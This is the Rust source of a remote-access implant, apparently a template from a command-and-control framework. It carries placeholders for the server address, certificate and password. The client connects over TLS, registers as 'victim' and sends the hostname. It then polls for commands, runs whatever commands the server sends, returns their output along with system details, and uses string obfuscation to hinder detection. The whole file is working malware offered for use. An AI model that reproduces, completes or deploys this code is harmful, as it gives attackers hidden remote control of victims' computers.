use obfstr::{obfstr, obfstring};
use rustls::ClientConfig;
use rustls::ClientConnection;
use rustls::RootCertStore;
use rustls::StreamOwned;
use rustls::pki_types::ServerName;
use std::collections::HashMap;
use std::error::Error;
use std::fs;
use std::io::BufReader;
use std::io::Read;
use std::io::Write;
use std::net::TcpStream;
use std::path::PathBuf;
use std::process::Command;
use std::sync::Arc;
use std::thread::spawn;
use std::time::Duration;
use std::time::Instant;
use sysinfo::*;

#[derive(Clone, Debug)]
pub struct Server {
    pub address: String,
    pub connected: bool,
    pub timer: Duration,
    pub config: Arc<ClientConfig>,
    pub last_check: Instant,
    pub message_que: Vec<String>,
    pub action_que: Vec<String>,
    pub client_id: usize,
    pub client_name: String,
    pub password: String,
    pub logged_in: bool,
}

impl Server {
    pub fn connect(&mut self) -> Result<usize, Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write("HELLO|victim".as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if let Some((_, id)) = response.split_once("|") {
            self.client_id = id.trim().parse()?;
        }
        self.message_que
            .push(format!("SET_HOSTNAME|{}", self.client_name));
        self.connected = true;
        self.last_check = Instant::now();
        return Ok(self.client_id);
    }

    pub fn login(&mut self, pass: String) -> Result<(), Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write(format!("NONE**{}|||LOGIN|{}||", self.client_id, pass).as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if response.contains("successful") {
            self.password = pass;
            self.last_check = Instant::now();
            self.logged_in = true;
            return Ok(());
        } else {
            return Err("error logging in!".into());
        }
    }

    pub fn checkin(&mut self) {
        if self.logged_in {
            if let Ok(mut stream) = self.tls_connect() {
                self.last_check = Instant::now();
                let payload = format!(
                    "{}**{}|||{}\n",
                    self.password.clone(),
                    self.client_id.clone(),
                    self.message_que.join("||")
                );

                if let Err(e) = stream.write_all(payload.as_bytes()) {
                    self.action_que
                        .push(format!("Error|sending reponse output to server! {e}"));
                }
                self.message_que.clear();
                let mut buffer = [0; 4096];
                if let Ok(bytes_read) = stream.read(&mut buffer) {
                    if bytes_read > 0 {
                        let response = String::from_utf8_lossy(&buffer[..bytes_read]);
                        response.split("||").into_iter().for_each(|action| {
                            self.action_que.push(action.trim().to_string());
                            if action.contains("Not authenticated") {
                                self.logged_in = false;
                            }
                        });
                    }
                }
            }
        } else {
            let _ = self.login(self.password.clone());
        }
    }

    fn tls_connect(&self) -> Result<StreamOwned<ClientConnection, TcpStream>, Box<dyn Error>> {
        let config = self.config.clone();
        let tcp = TcpStream::connect(&self.address)?;
        let (host, _) = self.address.split_once(':').ok_or("Invalid address")?;
        let server_name = ServerName::try_from(host.to_string())?;
        let connection = ClientConnection::new(config, server_name)?;
        let tls_stream = StreamOwned::new(connection, tcp);
        Ok(tls_stream)
    }
}

fn main() -> Result<(), Box<dyn Error>> {
    let mut roots = RootCertStore::empty();
    let mut reader = BufReader::new("|||CERT|||".as_bytes());
    let certs = rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?;
    for cert in certs {
        roots.add(cert)?;
    }
    let client_config = ClientConfig::builder()
        .with_root_certificates(roots)
        .with_no_client_auth();
    let mut server = Server {
        address: obfstring!("|||SERVER|||"),
        connected: false,
        timer: Duration::from_secs(90),
        last_check: Instant::now(),
        config: Arc::new(client_config),
        message_que: Vec::new(),
        action_que: Vec::new(),
        client_id: 0,
        client_name: obfstring!("Victim1"),
        password: obfstring!("|||PASSWORD|||"),
        logged_in: false,
    };
    let system = System::host_name();
    if let Some(hostname) = system {
        server.client_name = hostname;
    }
    let mut handles = HashMap::new();
    let mut handle_id = 0;
    let mut stop = false;
    loop {
        if !server.connected {
            let _ = server.connect();
        } else {
            if Instant::now().duration_since(server.last_check) >= server.timer {
                server.checkin();
                if !server.action_que.is_empty() {
                    for action in server.action_que.clone() {
                        if let Some((action, data)) = action.split_once(obfstr!("|")) {
                            if action.trim() == obfstr!("CMD") {
                                let data = data.trim();
                                let cmd;
                                let mut args = Vec::new();
                                if data.trim().contains(" ") {
                                    let (given_cmd, given_args) = data.split_once(" ").unwrap();
                                    cmd = given_cmd.to_string();
                                    given_args.split(" ").into_iter().for_each(|a| {
                                        args.push(a.to_string());
                                    });
                                } else {
                                    cmd = data.trim().to_string();
                                }
                                if cmd.trim() == obfstr!("set_sleep") {
                                    if let Ok(secs) = args[0].parse::<u64>() {
                                        server.timer = Duration::from_secs(secs);
                                        server
                                            .message_que
                                            .push(
                                                format!("OUTPUT|Set sleep for {} seconds", secs,),
                                            );
                                    } else {
                                        server.message_que.push(
                                            "OUTPUT|Error parsing Seconds count from arguments."
                                                .to_string(),
                                        );
                                    }
                                } else if cmd.trim() == obfstr!("victim_info") {
                                    server
                                        .message_que
                                        .push(format!("OUTPUT|Address:{}", server.address));
                                    server
                                        .message_que
                                        .push(format!("OUTPUT|Timer:{}", server.timer.as_secs()));
                                    server
                                        .message_que
                                        .push(format!("OUTPUT|ID:{}", server.client_id));
                                    server
                                        .message_que
                                        .push(format!("OUTPUT|Hostname:{}", server.client_name));
                                    let system = System::new_all();

                                    server
                                        .message_que
                                        .push(format!("Available RAM:{}", system.free_memory()));
                                    server
                                        .message_que
                                        .push(format!("Num CPUs:{}", system.cpus().iter().count()));
                                    server
                                        .message_que
                                        .push(format!("Total RAM:{}", system.total_memory()));
                                } else {
                                    let mut command = Command::new(&cmd);
                                    if !args.is_empty() {
                                        args.iter().for_each(|a| {
                                            command.arg(a);
                                        });
                                    }
                                    let handle = spawn(move || -> String {
                                        let mut out = String::new();
                                        let res = command.output();
                                        match res {
                                            Ok(result) => {
                                                if result.status.success() {
                                                    out.push_str(&format!(
                                                        "{} completed successfully!\n",
                                                        cmd
                                                    ));
                                                    if !result.stderr.is_empty() {
                                                        let err_string =
                                                            String::from_utf8_lossy(&result.stderr)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "errors: {}\n",
                                                            err_string
                                                        ));
                                                    }
                                                    if !result.stdout.is_empty() {
                                                        let out_string =
                                                            String::from_utf8_lossy(&result.stdout)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "std_out: {}\n",
                                                            out_string
                                                        ));
                                                    }
                                                } else {
                                                    out.push_str(&format!("{} failed.\n", cmd));
                                                    if !result.stderr.is_empty() {
                                                        let out_string =
                                                            String::from_utf8_lossy(&result.stderr)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "Errors: {}",
                                                            out_string
                                                        ));
                                                    }
                                                }
                                            }
                                            Err(e) => {
                                                out.push_str(&format!(
                                                    "Error getting command: {e}"
                                                ));
                                            }
                                        }
                                        return out;
                                    });
                                    handles.insert(handle_id, Some(handle));
                                    handle_id += 1;
                                }
                            } else if action.trim() == obfstr!("DISCONNECT") {
                                stop = true;
                            }
                        }
                    }
                }
                server.action_que.clear();
            }
        }
        let mut finished = Vec::new();
        handles.iter_mut().for_each(|(id, h)| {
            if let Some(handle) = h.as_ref() {
                if handle.is_finished() {
                    finished.push(id.clone());
                }
            }
        });
        finished.iter().for_each(|id| {
            let handle_opt = handles.remove(id);
            if handle_opt.is_some() {
                let handle_opt_2 = handle_opt.unwrap();
                if handle_opt_2.is_some() {
                    let handle = handle_opt_2.unwrap();
                    if let Ok(output) = handle.join() {
                        server.message_que.push(format!("OUTPUT|{}", output));
                    }
                }
            }
        });
        if stop {
            break;
        }
    }
    Ok(())
}
